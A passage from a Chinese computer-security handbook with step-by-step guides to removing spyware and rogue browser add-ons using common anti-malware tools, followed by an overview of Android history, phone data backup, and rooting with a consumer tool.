步骤7：扫描完成，显示需要清除的对象，单击“Schedule”按钮，如图12-17所示。

步骤8：打开“Schedule”页面，可创建定时扫描任务，其中包括扫描事件、开始扫描时间等，如图12-18所示。

步骤9：单击左侧“Options”按钮，选择“Shields”选项卡，在其中设置各种对象的防御选项，使用户在上网过程中及时保护系统，如图12-19所示。

图12-15　单击“Sweep”按钮

图12-16　开始扫描

图12-17　单击“Schedule”按钮

图12-18　创建定时扫描任务

图12-19　设置防御选项

12.1.4　AD-Aware让间谍程序消失无踪

系统安全工具AD-Aware可以扫描用户计算机中网站所发送进来的广告跟踪文件和相关文件，且安全地将它们删除，从而保护用户的隐私和数据。能够搜索并删除的广告服务程序包括：Web3000、Gator、Cydoor、Radiate/Aureate、Flyswat、Conducent/TimeSink和Comet-Cursor等。该软件的扫描速度相当快，可生成详细的报告并在眨眼间将其都删除掉。

具体的操作步骤如下：

步骤1：运行“AD-Aware”，进入“AD-Aware”主窗口并单击“扫描系统”按钮，如图12-20所示。

步骤2：进入扫描操作窗口，可选择“快速扫描”“完全扫描”“概要扫描”三种扫描方式。选择好扫描方式之后，单击窗口下方的“现在扫描”按钮，如图12-21所示。

图12-20　单击“扫描系统”按钮

图12-21　单击“现在扫描”按钮

步骤3：正在扫描。显示扫描时间、扫描的对象的信息，如图12-22所示。

步骤4：查看扫描结果。若要清除所有扫描出的对象，则需要在操作一栏选择“移除所有”命令。单击“现在执行操作”按钮，即可成功清除所有对象，如图12-23所示。

图12-22　正在扫描

图12-23　单击“现在执行操作”按钮

提示

为了维持电脑系统的安全及稳定性，移除间谍软件及广告软件应该是一项持续并经常进行的工作，因此，用户最好能够定期对系统进行扫描。

步骤5：返回扫描窗口，单击窗口右侧的“设置”按钮，如图12-24所示。

步骤6：进入选项设置窗口，在“更新”选项卡中可进行“软件和定义文件更新”“信息更新”等更新设置，设置完成后单击“确定”按钮，如图12-25所示。

图12-24　单击“设置”按钮

图12-25　进行更新设置

步骤7：切换至“扫描”选项卡，勾选要扫描的文件以及文件夹，单击“确定”按钮，如图12-26所示。

步骤8：切换至“Ad-Watch Live！”选项卡，对常规、侦测层以及警告和通知进行设置，设置完成后单击“确定”按钮，如图12-27所示。

图12-26　勾选要扫描的文件以及文件夹

图12-27　切换至“Ad-Watch Live！”选项卡

步骤9：切换至“额外”选项卡，对常规、语言、皮肤进行设置，设置完成后单击“确定”按钮，如图12-28所示。

图12-28　对常规、语言、皮肤进行设置

在使用步骤上，Ad-Aware跟一般的病毒清除软件没有太大区别，主要都包括了扫描及清除两大部分。不论间谍软件或广告软件，都会高度危害电脑系统的安全性及稳定性，所以都有必要移除。由于不同的间谍软件或广告软件设定也各不相同，所以移除间谍软件或广告软件并不是一项容易的工作，即使利用反间谍软件或反广告软件，也不代表能完全将其成功移除。

有时，可能会因为该间谍软件或广告软件被部分终止，而令系统在启动时出现错误信息。此时，用户就必须要进行手动清除的相关操作。比如，在利用Ad-Aware移除一个名为“BookedSpace”的广告后，就发现系统在每次启动时，都会提示找不到“bs3.dll”及“bsxx5.dll”的信息。这样，就必须手动移除Ad-Aware未能完全清除的设定之后，问题才得以解决。由于手动移除步骤较为复杂，因此，用户在进行时一定要谨慎。

12.2　流氓软件的清除

一些“流氓软件”会通过捆绑共享软件、采用一些特殊手段频繁弹出广告窗口、窃取用户隐私，严重干扰用户正常使用电脑，真可谓是“彻头彻尾的流氓软件”。根据不同的特征和危害，困扰广大计算机用户的流氓软件主要有广告软件、间谍软件、浏览器支持、行为记录软件和恶意共享软件5类。

12.2.1　清理浏览器插件

现在有很多与网络有关的工具，如下载工具、搜索引擎工具条等都可能在安装时在浏览器中安装插件，这些插件有时并无用处，还可能是流氓软件，所以有必要将其清除。

ActiveX技术是一种共享程序数据和功能的技术。一般软件需要用户单独下载然后执行安装，而ActiveX插件只要用户浏览到特定的网页，IE浏览器就会自动下载并提示用户安装。目前很多软件都采取这种安装方式，如播放Flash动画的播放插件。

当然，很多流氓软件也利用浏览器这一特点，并不进行提示而直接下载安装，甚至有些恶意插件还会更改系统配置，严重地影响了系统运行的稳定性。

清除浏览器插件的方法有以下几种。

（1）使用Windows 7插件管理功能

如果用户使用的系统是Windows 7及其以上版本的系统，则在IE浏览器的“工具”菜单中将出现一个“管理加载项”选项。通过该选项，用户可以对已经安装的IE插件进行管理。具体的操作方法如下：

步骤1：打开IE浏览器，单击“工具”>“管理加载项”选项，如图12-29所示。

步骤2：打开“管理加载项”对话框，可查看已运行的加载项列表，列表中详细显示了加载项的名称、发行者、状态等信息，如图12-30所示。

图12-29　IE浏览器窗口

图12-30　“管理加载项”对话框

步骤3：屏蔽插件。插件“类型”包括工具栏、第三方按钮、ActiveX控件、浏览器扩展等。用户可以根据需要选取某个插件，右键单击该插件后，在弹出的菜单中单击“禁用”命令，将其屏蔽，如图12-31所示。

（2）使用IE插件管理专家

“IE插件管理专家”（Upiea）的IE插件屏蔽功能突破了传统的插件屏蔽软件思维模式，它不仅仅能够屏蔽插件，还可以识别当前已安装的插件，并可卸载插件。具体操作方法如下：

步骤1：运行“IE插件管理专家”，单击“插件免疫”按钮，在页面中选择需要免疫的插件名称，单击“应用”按钮，即可完成该插件的免疫操作。插件免疫后，系统将不能再安装相应的插件，如图12-32所示。

图12-31　单击“禁用”命令

图12-32　“IE插件管理专家”主界面

步骤2：切换至“插件管理”标签，查看已加载插件，选取某个插件，单击下方的“启用”或“禁用”按钮可将其设置为启用或禁用状态，还可单击“删除”按钮将所选插件删除，如图12-33所示。

步骤3：切换至“系统设置”标签，在该页面可进行浏览器设置、软件卸载、启动项目、系统清理等操作，如图12-34所示。

图12-33　“插件管理”标签页

图12-34　切换至“系统设置”标签

12.2.2　金山清理专家清除恶意软件

金山清理专家是一款上网安全辅助软件，对流行木马、恶意插件尤为有效，可解决普通杀毒软件不能解决的安全问题。其特点有：永久免费，免费病毒木马查杀，健康指数综合评分系统，查杀恶意软件+超强抢杀技术（Bootclean），互联网可信认证，防网页挂马功能等。

具体的操作方法如下。

步骤1：运行“金山清理专家”，单击“实时保护”按钮，如图12-35所示。

步骤2：可启用或关闭“U盘防火墙”“漏洞防火墙”“网页防火墙”“系统防火墙”等功能，如图12-36所示。

图12-35　“金山清理专家”主界面

图12-36　“实时防护”设置界面

步骤3：单击“健康指数”按钮，再单击“为系统打分”按钮，开始全面扫描系统，并给出健康指数，指出问题所在，如图12-37所示。

步骤4：恶意软件查杀，单击“恶意软件查杀”按钮，可以看到已经查到的恶意软件分类及其数量，如图12-38所示。

图12-37　“健康指数”页面

图12-38　“恶意软件查杀”页面

步骤5：开始扫描系统所存在的漏洞，并给出漏洞补丁列表。选取需要修复的漏洞，单击“修复选中项”按钮，即可开始下载系统补丁并自动安装，如图12-39所示。

步骤6：在“金山清理专家”主界面中单击“安全百宝箱”按钮，打开“金山安全百宝箱”窗口，可进行修复系统、清理垃圾文件、清除历史痕迹、修复浏览器，进行进程管理、启动项管理等操作，如图12-40所示。

图12-39　“金山漏洞修复”页面

图12-40　“金山安全百宝箱”页面

12.2.3　流氓软件的防范

除在遭受其“骚扰”和“入侵”后进行“亡羊补牢”外，难道就真的没有办法了吗？其实更应做好事前防范，打造对“流氓软件”具有免疫功能的电脑系统。

1）及时更新补丁程序。如果觉得下载补丁程序太麻烦，则可以利用安装的杀毒软件、防火墙等安全工具中的漏洞扫描功能，扫描自己的系统并自动下载安装补丁程序。在扫描系统漏洞前，应先升级到最新版本，否则可能无法检测出最新发布的补丁程序。

下面以瑞星安全助手为例介绍其扫描系统漏洞并下载补丁的操作方法。

步骤1：运行瑞星安全助手，在主界面底部“检查更新”链接，如图12-41所示。

图12-41　瑞星杀毒软件主界面

步骤2：对软件进行升级，显示升级进度，如图12-42所示。

图12-42　智能升级

步骤3：返回主界面进入“电脑修复”标签，程序自动进行扫描，扫描完成后即可看到系统中的所有插件，程序自动选择对系统有威胁的插件，单击“立刻修复”按钮即可对系统进行修复，如图12-43所示。

步骤4：修复完成后可选择“重新扫描”对系统再次扫描，若显示“没有发现危险项”，则表示流氓软件清理成功，如图12-44所示。

提示

用户也可使用瑞星安全助手的安全防护功能对系统安全体系和系统漏洞进行实时监控，保证系统处于相对安全的环境。可开启系统安全体系监控和系统漏洞监控，如图12-45所示。同时也可开启恶意网站访问监控、恶意文件实时监控和U盘病毒免疫监控，只是要开启恶意网站访问监控需要安装瑞星个人防火墙。

图12-43　“电脑修复”页面

图12-44　重新扫描

2）禁用ActiveX脚本。禁用ActiveX脚本可以阻止恶意IE插件的安装，但也会造成某些使用ActiveX技术的网页无法正常显示。禁用ActiveX脚本的具体操作方法如下：

步骤1：打开“Internet选项”对话框，右击桌面上的“Internet”图标，从快捷菜单中选择“选项”，如图12-46所示。

步骤2：切换至“安全”标签卡，禁用所有ActiveX控件和插件选项，单击“确定”按钮，如图12-47所示。

图12-45　“安全防护”页面

图12-46　“Internet选项”对话框

3）添加受限站点。把含有恶意插件的网页加入受限站点，使IE浏览器不能打开该网页，具体的操作方法如下。

步骤1：返回“Internet选项”对话框，切换至“安全”标签卡，单击“受限制的站点”图标，然后单击“站点”按钮，如图12-48所示。

图12-47　“安全设置”对话框

图12-48　“Internet选项”对话框

步骤2：打开“受限制的站点”对话框，输入需要限制登录的网页地址，单击“添加”按钮，即可将其添加进去，如图12-49所示。

4）修改Hosts文件。Hosts文件又称域名本地解析系统，以ASCII格式保存。为了在互联网不产生冲突，每一台连接网络的计算机都会分配一个IP地址，但为便于记忆，又引入了域名的概念，所以当用户在IE地址栏中输入域名时，系统先查看Hosts文件中是否有与此域名相对应的IP地址，如果没有就连接DNS服务器进行搜索；如果有，则会直接登录该网站。Hosts文件省略了通过DNS服务器解析域名的过程，可提高网页浏览的速度。在Windows 7系统中可使用“记事本”打开C：\Windows\system32\drivers\etc\hosts文件，在此文件中输入“ 127.0.0.1 www.abcd.com ”，在IP地址和域名间用空格分开且保存后退出，将 www.abcd.com 网站域名指向计算机本地的IP地址127.0.0.1，从而避免下载插件。

5）设置网页安全扫描。一般反病毒软件中带有防范网页恶意代码的功能，例如瑞星卡卡上网安全助手中的“上网防护”功能，就具有“不良网站访问防护”“IE防漏墙”“木马下载拦截”等功能，如图12-50所示。启用这些功能，用户访问具有恶意代码的网页时，就会主动进行提示和拦截，防止恶意代码利用ActiveX进行下载和执行危险的命令。

图12-49　“受限制的站点”对话框

图12-50　“上网防护”页面

6）使用专用工具进行防疫。现在网络上有很多专门用于对付流氓软件和间谍软件的工具，而且这些工具一般都具有免疫功能，即针对已知的流氓软件和间谍软件修改注册表相应项，使相应的流氓软件和间谍软件不能自动下载和安装，从而保证用户系统的安全、稳定。

12.3　常见的网络安全防护工具

网络这个先进工具给人们带来了无尽便捷，但在便捷的同时也存在着安全隐患。因此，为了将安全隐患降到最低点，最便捷有效的做法就是做好网络的安全防御工作。

12.3.1　浏览器绑架克星HijackThis

HijackThis是一款专门对付恶意网页及木马的程序，可找出绑架浏览器的全部恶意程序并将其删除。一般常见的绑架方式莫过于强制篡改浏览器首页设定、搜寻页设定。如果用户使用了HijackThis软件，就可以将所有可疑的程序全抓出来，再让用户判断哪个程序是肇事者并将其清除。其具体的操作步骤如下。

步骤1：运行“HijackThis”，在“HijackThis”主菜单窗口单击“扫描系统并保存日志文件”按钮，如图12-51所示。

步骤2：开始扫描系统，可查看扫描信息，如图12-52所示。

图12-51　单击“扫描系统并保存日志文件”按钮

图12-52　查看扫描信息

步骤3：查看扫描结果。扫描结果将会保存到记事本中，如图12-53所示。

步骤4：勾选需要修复的项目，单击“所选项目信息”按钮，如图12-54所示。

图12-53　查看扫描结果

图12-54　勾选需要修复的项目

步骤5：查看说明信息，单击“确定”按钮，如图12-55所示。

图12-55　查看说明信息

步骤6：返回扫描窗口，单击“修复选项”按钮，如图12-56所示。

步骤7：查看提示信息，单击“是”按钮对所选项目进行修复，如图12-57所示。

步骤8：分析可疑项目。返回扫描窗口，如果用户不了解某些可疑项目是否需要修复，单击“分析”按钮，将扫描到的可疑内容发送到网站，让其帮助分析，如图12-58所示。

图12-56　单击“修复选项”按钮

图12-57　查看提示信息

步骤9：返回扫描窗口，单击“配置”按钮，如图12-59所示。

图12-58　单击“分析”按钮

图12-59　单击“配置”按钮

步骤10：打开“程序配置”窗口，单击“备份项目”按钮，可以看到修复的项目列表。勾选需要恢复的项目然后单击“恢复”按钮即可将其恢复到原来的状态，如图12-60所示。

图12-60　单击“备份项目”按钮

提示

在修复之后暂时不要清除“备份项目”列表中的内容，待系统重启且运行正常后再清除，以免造成不必要的麻烦。

步骤11：单击“杂项工具”按钮，用户可以使用进程管理、服务管理、程序管理等多种工具，然后单击“打开进程管理器”按钮，如图12-61所示。

步骤12：打开“进程管理”窗口，对当前运行的进程进行管理，如图12-62所示。

图12-61　单击“打开进程管理器”按钮

图12-62　“进程管理”窗口

步骤13：返回“杂项工具”窗口，单击“重启后删除文件”按钮，如图12-63所示。

步骤14：选定需要删除的文件，单击“打开”按钮，则可在系统重启时将其删除，如图12-64所示。

图12-63　单击“重启后删除文件”按钮

图12-64　选定需要删除的文件

步骤15：返回“杂项工具”窗口，单击“打开卸载管理器”按钮，如图12-65所示。

步骤16：打开“添加/移除程序管理器”窗口，选中一个项目，单击“删除该项目”按钮即可将该项目删除，如图12-66所示。

图12-65　单击“打开卸载管理器”按钮

图12-66　单击“删除该项目”按钮

12.3.2　诺顿网络安全特警

“诺顿网络安全特警”简体中文版是为winxp/win2003/vista/win7/win8操作系统提供的安全防护，提供主动式行为防护，甚至可以在传统以特征为基础的病毒库辨认出前，早一步监测到新型的间谍程序及病毒。每隔5到15分钟提供一次更新，以检测和删除最新威胁。

1.配置诺顿网络安全特警

当“诺顿网络安全特警”软件安装完毕之后，就可以通过配置运行此软件，从中领略其新颖的特性，具体的操作步骤如下。

步骤1：当软件安装完毕之后，单击任务栏中显示出诺顿网络安全特警的标志，即可进入“诺顿网络安全特警”主窗口，如图12-67所示。

步骤2：在左端显示软件的安全状态，由于是第一次安装此软件，程序会自动对系统文件进行扫描，如图12-68所示。

图12-67　“诺顿网络安全特警”主窗口

图12-68　检测系统

步骤3：检测完成后，会显示检测到的威胁窗口，可自行选择修复、忽略或排除，如图12-69所示。

步骤4：单击“高级”选项卡，进入安全防护界面，有电脑防护、网络防护、网页防护三个选项卡，可选择开启或关闭相应防护。例如单击“智能防火墙”选项右侧“开启\关闭”按钮，即可打开“安全请求”对话框，在其中查看相应安全情况，如图12-70所示。

图12-69　检测到的威胁

图12-70　“安全请求”对话框

步骤5：在“高级”选项卡中单击“计算机”栏目中的“设置”选项卡，即可进入“设置”窗口的“电脑”选项卡，如图12-71所示。

步骤6：在“实时防护”选项卡中单击“反间谍软件”栏目右侧的“配置”链接选项，即可打开“反间谍软件”窗口，在其中选择手动、电子邮件和即时消息扫描中检测哪些类别的风险。为获得最大程度防护，最好勾选所有选项，如图12-72所示。

图12-71　“电脑”选项卡

图12-72　“反间谍软件”窗口

步骤7：若在“电脑扫描”选项卡中单击“全面系统扫描”栏目右侧的“配置”链接选项，即可打开“编辑扫描”窗口，可对扫描日程表和扫描选项进行设定，如图12-73所示。

步骤8：在“网络”选项卡中可对网络中各项防护进行相应设置，如图12-74所示。

步骤9：单击“智能防火墙”区域的“程序规则”选项卡，可控制计算机上程序访问Internet的方式。在程序列表中可修改每个程序的Internet访问，还可向列表中添加程序或从列表中删除程序，如图12-75所示。

步骤10：如果要添加其他程序控制，单击“添加”按钮，即可打开“选择应用程序”对话框，在其中选择要添加的程序，如图12-76所示。

步骤11：如果要修改某程序控制，选中需要修改的程序之后，单击“修改”按钮，即可打开“规则”对话框，如图12-77所示。

步骤12：在“规则”对话框中单击“修改”按钮，即可打开“修改规则”对话框，在其中进行相应规则的修改，如图12-78所示。

图12-73　“编辑扫描”界面

图12-74　“网络”选项卡

图12-75　“程序规则”对话框

图12-76　“选择应用程序”对话框

图12-77　“规则”对话框

图12-78　“修改规则”对话框

步骤13：如果要删除某程序控制，在选择需要删除的程序之后，单击“删除”按钮，将弹出“确认”信息提示框，从弹出的信息提示框中单击“是”按钮，即可完成删除操作，如图12-79所示。

步骤14：在选中需要重命名的某程序之后，单击“重命名”按钮，即可打开“重命名程序”对话框，从文本框中输入相应名称完成重命名操作，如图12-80所示。

图12-79　“确认”信息提示框

图12-80　“重命名程序”对话框

步骤15：在“网络”选项卡中，单击“智能防火墙”区域中的“高级设置”栏目右侧的“配置”链接选项，即可打开“高级设置”设置页面，通过智能防火墙高级设置选项激活高级防护功能，自定义计算机用于查看网页的端口，如图12-81所示。

步骤16：单击“通信规则”栏目右侧“配置”链接选项，即可打开“通信规则”对话框，在其中分别对某些规则进行相应的添加、修改、删除、上移和下移操作，如图12-82所示。

图12-81　“高级设置”设置界面

图12-82　“通信规则”对话框

步骤17：在“高级设置”选项卡中还可对端口和状态协议过滤器进行相应的设置。如果要对防火墙进行重新设置，单击“防火墙重置”右侧的“配置”链接选项，即可弹出“防火墙重置”信息提示框。单击“是”按钮，即可重新设置整个防火墙设置，如图12-83所示。

图12-83　信息提示框

步骤18：在“入侵防护”选项卡中可对“入侵自动阻止”“入侵特征”“通知”和“排除列表”进行相应设置，单击“入侵特征”栏目右侧“配置”链接，即可打开“入侵特征”对话框，查看攻击特征的列表，如图12-84所示。

步骤19：单击“入侵自动阻止”栏目右侧的“配置”超链接，即可打开“入侵自动阻止”对话框，在其中将入侵自动阻止打开或关闭指定的时间段，还可查看、取消阻止或限制阻止的计算机，如图12-85所示。

步骤20：在“网页”选项卡中单击“身份安全”栏目右侧的“配置”超链接，如图12-86所示。

步骤21：打开“设置诺顿身份安全”对话框，在其中对诺顿身份进行安全设置，如图12-87所示。

图12-84　“入侵特征”对话框

图12-85　“入侵自动阻止”对话框

图12-86　“网页”选项卡

图12-87　“设置诺顿身份安全”对话框

步骤22：在“常规”选项卡中还可以进行其他设置，用户可根据需要进行设置，如图12-88所示。

图12-88　“常规”选项卡

2.用诺顿网络安全特警扫描程序

在所有设置完毕之后，就可以运用设置好的方式扫描程序，具体的操作步骤如下。

步骤1：在“诺顿网络安全特警”主窗口中单击“计算机”栏目下的“立即扫描”链接按钮，即可弹出三种不同扫描方式，根据实际需要选择相应扫描方式（这里选择“快速扫描”方式），如图12-89所示。

步骤2：单击“快速扫描”按钮，即可进入扫描状态，如图12-90所示。

步骤3：当扫描完毕之后，即可显示出扫描结果，如图12-91所示。

步骤4：若扫描完毕后提示需要注意事项，则单击“需要注意”选项卡，根据实际情况对出现的问题进行修复或忽略操作。

图12-89　选择扫描方式

图12-90　进入扫描状态

图12-91　扫描结果

其实不论是流氓软件还是间谍软件，都在高度危害计算机系统的安全性和稳定性，非常有必要将其清除。由于不同的间谍软件和流氓软件设定各不相同，且防删除的方法也越来越复杂，即使利用反间谍软件或反流氓软件，也不能保证将其成功清除，有时还可能会因为清除流氓软件和间谍软件而导致系统出现问题，此时就需要请教专家进行手动清除。读者只有学会了流氓软件与间谍软件的清除方法，才能充分保证自己的计算机系统不被恶意软件破坏，以便于减少黑客入侵带来的损失。

12.3.3　使用360安全卫士对计算机进行防护

如今网络上的间谍软件、恶意插件、流氓软件实在太多，这些恶意软件或搜集个人隐私，或频发广告，或让系统运行缓慢，让用户苦不堪言。使用免费的“360安全卫士”则可轻松地解决这个问题，具体的操作步骤如下。

步骤1：下载并安装好360安全卫士后，双击桌面上的“360安全卫士”图标，即可进入其操作界面，如图12-92所示。

步骤2：当360安全卫士首次运行时，将自动对当前系统进行快速扫描，查找出系统所存在的问题，如图12-93所示。

步骤3：选择“木马查杀”标签，在其中可以查杀当前系统中存在的已知木马程序，如图12-94所示。

步骤4：扫描结束后，选取需要清除的对象，单击“立即查杀”或“强力查杀”按钮，即可将木马程序清除，如图12-95所示。

步骤5：选择“系统修复”标签，可对电脑进行常规修复和漏洞修复，如图12-96所示。

步骤6：单击“常规修复”图标，可对一些恶意插件、广告等进行检测及修复，而单击“漏洞修复”图标，可专门检测并修复系统漏洞，如图12-97所示。

图12-92　“360安全卫士”主窗口

图12-93　查看健康指数信息

图12-94　“木马查杀”页面

图12-95　扫描木马

图12-96　“系统修复”页面

图12-97　漏洞修复

步骤7：选择“电脑清理”标签，可对电脑中的Cookie、垃圾以及上网痕迹等进行检测并清理，如图12-98所示。

步骤8：扫描完成后可单击“一键清理”按钮对扫描出的垃圾等进行清理，如图12-99所示。

步骤9：选择“优化加速”标签，会有一键优化、深度优化、我的开机时间、启动项、优化记录与恢复5个选项，如图12-100所示。通常进行一键优化即可，必要时也可进行深度优化。

步骤10：“我的开机时间”选项中可显示所有开机项目所占用的开机时间，并且可手动禁止不必要的开机启动项目，如图12-101所示。

图12-98　“电脑清理”页面

图12-99　一键清理

图12-100　“优化加速”页面

图12-101　我的开机时间

步骤11：在“启动项”中，可专门针对开机启动项进行禁止启动、恢复启动、延迟至系统空闲时启动等操作，如图12-102所示。

步骤12：在“优化记录与恢复”选项中可对系统误优化的项目进行恢复，如图12-103所示。

图12-102　启动项

图12-103　优化记录与恢复

步骤13：选择“电脑救援”标签，出现自动工具救援、人工在线救援以及附近商家救援3个选项，如图12-104所示。自动工具救援选项中给出了电脑使用过程中多数会出现的问题，比如上网异常、电脑卡慢、视频声音有问题等，用户在使用电脑时经常会因为一些小问题而不知如何是好，其实在这里基本上可以得到解决。

图12-104　“电脑救援”页面

图12-105　“没有声音”修复

步骤14：以视频播放时没有声音为例，在这里单击视频声音中的没有声音选项，即可进入修复界面，单击“立即修复”按钮，即可对问题进行修复，如图12-105所示。对于一些自动工具救援无法解决的问题也可进行人工在线咨询，而必须进行电脑维修时，360也推荐了一些维修商家。

步骤15：选择“软件管家”标签，用户可进行软件下载、安装、升级、卸载等操作，非常方便，如图12-106所示。

图12-106　“软件管家”页面

第13章　Android操作系统的控制与安全

随着移动互联网的发展，作为当今最大的移动操作系统之一，Android已经被越来越多的用户所使用，然而由于市场自身制度的不完善以及弊端，垃圾软件、恶意软件的泛滥为用户带来了非常大的危害。用户面临着极大的移动终端安全问题，内置病毒、信息窃取、吸费等威胁层出不穷。所以了解Android系统特性，以及做好预防就非常重要。

主要内容：

●Android手机数据备份功能

●Android平台恶意软件及病毒

●Android root权限

Android是Google开发的一种基于Linux的自由及开放源代码的操作系统，主要使用于移动设备，如智能手机和平板电脑。

2003年10月，Andy Rubin等人创建Android公司，并组建Android团队。

2005年8月17日，Google低调收购了成立仅22个月的高科技企业Android及其团队。Andy Rubin成为Google公司工程部副总裁，继续负责Android项目。

2007年11月5日，谷歌公司正式向外界展示了这款名为Android的操作系统，并且在这天宣布建立一个全球性的联盟组织，该组织由34家手机制造商、软件开发商、电信运营商以及芯片制造商共同组成，并与84家硬件制造商、软件开发商及电信营运商组成开放手持设备联盟（Open Handset Alliance）来共同研发改良Android系统，这一联盟将支持谷歌发布的手机操作系统以及应用软件，Google以Apache免费开源许可证的授权方式，发布了Android的源代码。

2008年，在Google I/O大会上，谷歌提出了AndroidHAL架构图，在同年8月18号，Android获得了美国联邦通信委员会（FCC）的批准，在2008年9月，谷歌正式发布了Android 1.0系统，这也是Android系统最早的版本。

2009年4月，谷歌正式推出了Android 1.5这款手机，从Android 1.5版本开始，谷歌开始将Android的版本以甜品的名字命名，Android 1.5命名为Cupcake（纸杯蛋糕）。该系统与Android 1.0相比有了很大的改进。

2009年9月，谷歌发布了Android 1.6的正式版，并且推出了搭载Android 1.6正式版的手机HTC Hero（G3），凭借着出色的外观设计以及全新的Android 1.6操作系统，HTC Hero（G3）成为当时全球最受欢迎的手机。Android 1.6也有一个有趣的甜品名称，它被称为Donut（甜甜圈）。

Android的不同版本如图13-1所示。

图13-1　Android的不同版本

2010年2月份，Linux内核开发者Greg Kroah-Hartman将Android的驱动程序从Linux内核“状态树”（“staging tree”）上除去，从此，Android与Linux开发主流分道扬镳。在同年5月份，谷歌正式发布了Android 2.2操作系统。谷歌将Android 2.2操作系统命名为Froyo，翻译过来名为冻酸奶。

2010年10月份，谷歌宣布Android系统达到了第一个里程碑，即电子市场上获得官方数字认证的Android应用数量已经达到了10万个，Android系统的应用数量增长非常迅速。在2010年12月，谷歌正式发布了Android 2.3操作系统Gingerbread（姜饼）。

2011年1月，谷歌称每日的Android设备新用户数量达到了30万部，到2011年7月，这个数字增长到55万部，而Android系统设备的用户总数达到了1.35亿，Android系统已经成为智能手机领域占有量最高的系统。

2011年8月2日，Android手机已占据全球智能机市场48%的份额，并在亚太地区市场占据统治地位，终结了Symbian（塞班系统）的霸主地位，跃居全球第一。

2011年9月份，Android系统的应用数目已经达到了48万，而在智能手机市场，Android系统的占有率已经达到了43%，继续排在移动操作系统首位。

2012年1月6日，谷歌Android Market已有10万开发者推出超过40万活跃的应用，大多数的应用程序为免费。Android Market应用程序商店目录在新年首周周末突破40万基准，距离突破30万应用仅四个月。在2011年早些时候，Android Market从20万增加到30万应用也花了四个月。

2013年11月1日，Android 4.4正式发布，从具体功能上讲，Android 4.4提供了各种实用小功能，新的Android系统更智能，添加更多的Emoji表情图案，UI的改进也更现代，如全新的HelloiOS7半透明效果。

2014年10月15日，谷歌发布了Android 5.0。

13.1　Android手机数据备份功能

13.1.1　recovery模式

recovery模式是Android手机/平板电脑中的一个特殊的小型系统，相当于计算机上的WIN PE，可用来对Android系统进行恢复出厂设置、刷写官方OTA固件等基础功能，第三方的recovery模式还支持备份系统、刷写非官方固件等其他实用的功能。

13.1.2　recovery的方法

在用计算机的时候，我们经常备份计算机里面的重要数据，以免计算机出现问题丢失数据，在用手机时也要养成经常备份的习惯，以免手机出现意外时手机内的重要数据丢失。本文就介绍下具体的备份方法，其实非常简单。

手机进行备份，也需要第三方软件，如91手机助手、豌豆荚、360手机助手等。下面以360手机助手来介绍具体的备份方法：

步骤1：在百度上下载360手机助手，下载并安装360手机助手（见图13-2）。

图13-2　下载、安装360手机助手

步骤2：打开USB调试，Android 4.0以前的版本基本都是单击设置–应用程序–开发，在这里面就能看到USB调试，而4.0以后的版本单击设置–开发人员选项，进入就可以开启USB调试了，如图13-3所示。

图13-3　打开USB调试

步骤3：插上数据线并连上手机，单击右下方的“手机备份”按钮（见图13-4）。

步骤4：选择要备份的联系人、短信及应用，单击“一键备份”按钮（见图13-5）。

步骤5：单击“完成”按钮，即可备份成功（见图13-6）。

步骤6：恢复文件，如果手机数据信息遗失，选择备份好的备份文件，单击“一键恢复”按钮，即可还原以前的短信和联系人（见图13-7）。

步骤7：数据恢复完成，单击“完成”按钮即可（见图13-8）。

图13-4　单击“手机备份”按钮

图13-5　单击“一键备份”按钮

图13-6　单击“完成”按钮

图13-7　单击“一键恢复”按钮

图13-8　单击“完成”按钮

13.2　Android root权限

root通常是针对Android系统的手机而言，它使得用户可以获取Android操作系统的超级用户权限。root通常用于帮助用户越过手机制造商的限制，使得用户可以卸载手机制造商预装在手机中的某些应用，以及运行一些需要超级用户权限的应用程序。Android系统的root与Apple iOS系统的越狱类似。

13.2.1　root的原理

手机制造商原始出厂的手机并未开放root权限（小米和MEIZU除外），获取root的方法都是不受官方支持的，因此，目前获取root的方法都是利用系统漏洞实现的。而不同手机厂商可能存在的漏洞不同，也就导致了不同手机root的原理可能不同。不过，不管采用什么原理实现root，最终都需要将su可执行文件复制到Android系统的/system分区下（例如：/system/xbin/su）并用chmod命令为其设置可执行权限和setuid权限。为了让用户可以控制root权限的使用，防止其被未经授权的应用所调用，通常还有一个Android应用程序来管理su程序的行为。root的基本原理就是利用系统漏洞，将su和对应的Android管理应用复制到/system分区。常见的系统漏洞有zergRush、Gingerbreak、psneuter等等。

13.2.2　root的好处以及风险

获取root权限的主要好处：

1）可以备份系统。

2）修改系统的内部程序。

3）可以把一些程序应用安装在SD卡上，减轻手机负担，删除后台无用运行程序，增加手机运行内存，加快手机运行速度。

4）可以美化系统，更改开机动画等：通过直接替换系统内的文件或者刷入开发者修改好的zip安装包，我们可以修改手机的开机画面、导航栏、通知栏、字体等等。

5）可以刷入第三方的recovery，对手机进行刷机、备份等操作。

6）可以汉化手机系统：拥有root权限，我们就可以加载汉化包，实现系统汉化！这主要是针对那些自带默认语言为非中文的Android手机，这些手机原本是面向非中文国家和地区销售的，但最后有中文的用户也在使用，为了能更好地使用这些手机，使其符合国人的操作使用习惯，就必须对这些手机进行系统汉化。

存在的风险：

root后用户可以访问和修改手机内几乎所有的文件，这些东西可能是手机制作商不愿意用户修改和触碰的东西，因为root后有可能影响到手机的稳定，还容易被一些黑客入侵。

如何避免一键root恶意软件侵害我们的手机：

1）不使用手机端一键root，使用计算机端大品牌root软件进行root，如刷机精灵等root破解工具。

2）不从来历不明渠道下载应用，下载应用一定要选择官方认证应用版本下载。

3）刷机时不刷入来历不明的ROM包，应下载带有ROM安全检测的ROM市场下载ROM，如ROM之家等。

4）使用手机需注意，当手机提示一些应用获取不需要的权限时应禁止，比如提示用户获取位置信息、短信权限等。

13.2.3　如何获取root权限

Android手机获取root权限，一般需要第三方工具，我们以卓大师为例。

步骤1：在百度上下载卓大师，下载并安装卓大师（见图13-9）。

图13-9　下载、安装卓大师

步骤2：打开USB调试，Android 4.0以前的版本基本都是单击设置–应用程序–开发，在这里面就能看到USB调试，而4.0以后的版本单击设置–开发人员选项，进入就可以开启USB调试了（见图13-10）。

步骤3：用数据线将手机连接至计算机，卓大师刷机专家会自动识别出用户的手机（见图13-11）。

步骤4：使用卓大师进行一键root，单击“root”图标，在“root”界面下单击“一键root”按钮（见图13-12）。

步骤5：root成功后就可以删除系统应用了（见图13-13）。

图13-10　打开USB调试

图13-11　将手机连接至计算机

图13-12　单击“一键root”按钮

图13-13　root成功

13.3　Android平台恶意软件及病毒

下面将Android平台上的各类恶意软件和病毒分为7大类进行概述，以帮助用户在实际使用过程中进行识别和警惕，保证平台和个人信息、经济安全。

